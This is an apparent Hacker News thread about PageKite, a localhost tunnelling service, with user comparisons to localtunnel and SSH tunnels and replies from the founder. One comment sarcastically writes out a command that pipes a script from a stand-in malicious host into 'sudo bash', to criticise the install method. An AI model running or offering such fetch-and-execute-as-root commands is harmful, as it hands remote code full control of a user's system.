

The fast, reliable way to make localhost part of the Web - dsr12
http://pagekite.net

======
poteto
Alternatively there's the localtunnel gem which is good for quick sharing -
<http://progrium.com/localtunnel/>

PageKite looks a lot more powerful though.

------
fhars

        curl -s https://some.probably.malicio.us/site/ |sudo bash
    

Yup, that is exactly what the world needs.

~~~
brown9-2
Is this really less transparent than running a rpm or installer .app?

On the other hand, looking at the source (which hilariously checks and warns
if curl doesn't exist) you could just download
<https://pagekite.net/pk/pagekite.py> put it on your $PATH manually.

The thing that makes me feel odder is that pagekite.py is just a bunch of
base64 compressed python scripts - if you are going to put your .py script on
a user's machine, are there really that many savings in compressing all the
python code?

~~~
HerraBRE
The shenanigans are just to keep it encapsulated as a single .py for backwards
compatibility with when it actually was just a single .py. Once I get into the
official Debian and Fedora repos and have proper windows/mac packages, this
will go away.

------
mgkimsal
Recently became a paying pagekite customer. Couple of thoughts here:

I'd sort of like to not have to use it - I'd prefer to just tunnel through my
cable modem, but some lock down from Time Warner makes this much harder than
it should be.

I'd used the localtunnel service from twilio earlier, and like that. But
Pagekite is better in a few ways.

1\. the naming - foo.pagekite.me far reduces any potential collision I'd get
vs the localtunnel approach of xpkf82.localtunnel.com getting reused
accidentally.

2\. Pagekite can follow me - go to the local cowork space, run pagekite, and
foo.pagekite.me now points to my new IP address at the cowork space.

3\. SSL - I get <https://> forwarding by default

I'm using this for some facebook work, and have my facebook app stuff pointing
to foo.pagekite.me while I'm in dev, and it's working great.

I do find their control panel / acct mgt slightly confusing - what a 'kite' is
wasn't really apparent to me at first, and 'remaining bandwidth' vs how much
I've used wasn't something I could easily see (the numbers are at opposite
ends of the screen in different font sizes). Some of this may be because I'm
new to the service, but also because I just don't go there that much (little
need).

Thanks pagekite!

~~~
HerraBRE
Thanks for the comments and feedback. I agree the control panel and account
management could be improved, like many other parts of the project it is all a
work in progress.

------
dsr12
I used pagekite recently for testing a Facebook app and I was very pleased
with it. It's very easy to setup. I tried localtunnel too but it changes the
domain name with every restart. Pagekite provides static domain which is very
handy when testing applications which require a static public domain.

------
HerraBRE
Founder of PageKite here. I'm more than happy to answer any questions folks
may have. :-)

~~~
mullethunter
Lack of coffee question for you. I've registered and am playing with this and
I'm looking to tap into not only IIS but also node apps running on say,
localhost:8999. Is that possible with this product or is it purely sitting on
the IIS instance?

~~~
HerraBRE
Should be no problem. You can point to any local port, and you can run
multiple "kites" at the same time (assign public names to mupltiple ports at
once). Just make sure your apps generate relative URLs and don't contain
absolute IPs and ports and it should be smooth sailing.

~~~
mullethunter
Thanks, I'll play with it. I have Friday demos for clients and I would love to
not have the localhost:xxxx in the URL just for sanity's sake. Love the idea,
cheers.

------
jakozaur
Pretty much every developer got access to web server. Why not just use ssh
tunnels? ssh -f -N -q -R 123:localhost:80 login@remote.example.com

The only difference is that your website will be on different port, e.g.
remote.example.com:123

For me it is much easier to setup, cost 0$ vs. >= 4$ / month. I do not have to
trust someone to run some random code with root privileges...

Am I missing something? The number of website which offer something that
substitute ssh tunnel is astonishing.

Anyway, there is also free version by twilio:
<http://progrium.com/localtunnel/>

~~~
HerraBRE
Yes, for a developer, there are many ways to do this.

PageKite aims to be more reliable, fast and convenient. It also provides
niceties like preconfigured SSL certificates and automatic DNS subdomain
provisioning and is smart about reconnecting and adapting to changes in the
network environment.

The downside is, to reap those benefits you have to learn to use a new tool.
:-)

Edit: Also, you've got our pricing wrong. We ask for $3/month, but you can go
even lower if you are a hobbyist or buy a group subscription and get a bulk
discount.

------
no_news_is
On attempting to signup, I am getting this:

Forbidden (403) CSRF verification failed. Request aborted. More information is
available with DEBUG=True.

Anybody else?

~~~
no_news_is
Sorry, nevermind... seems it was one of my extensions, worked okay in
incognito mode.

Had tried on my phone and got the same message, now assuming that is because
my phone browser is sub-par and it was just a coincidence that I got the same
message.

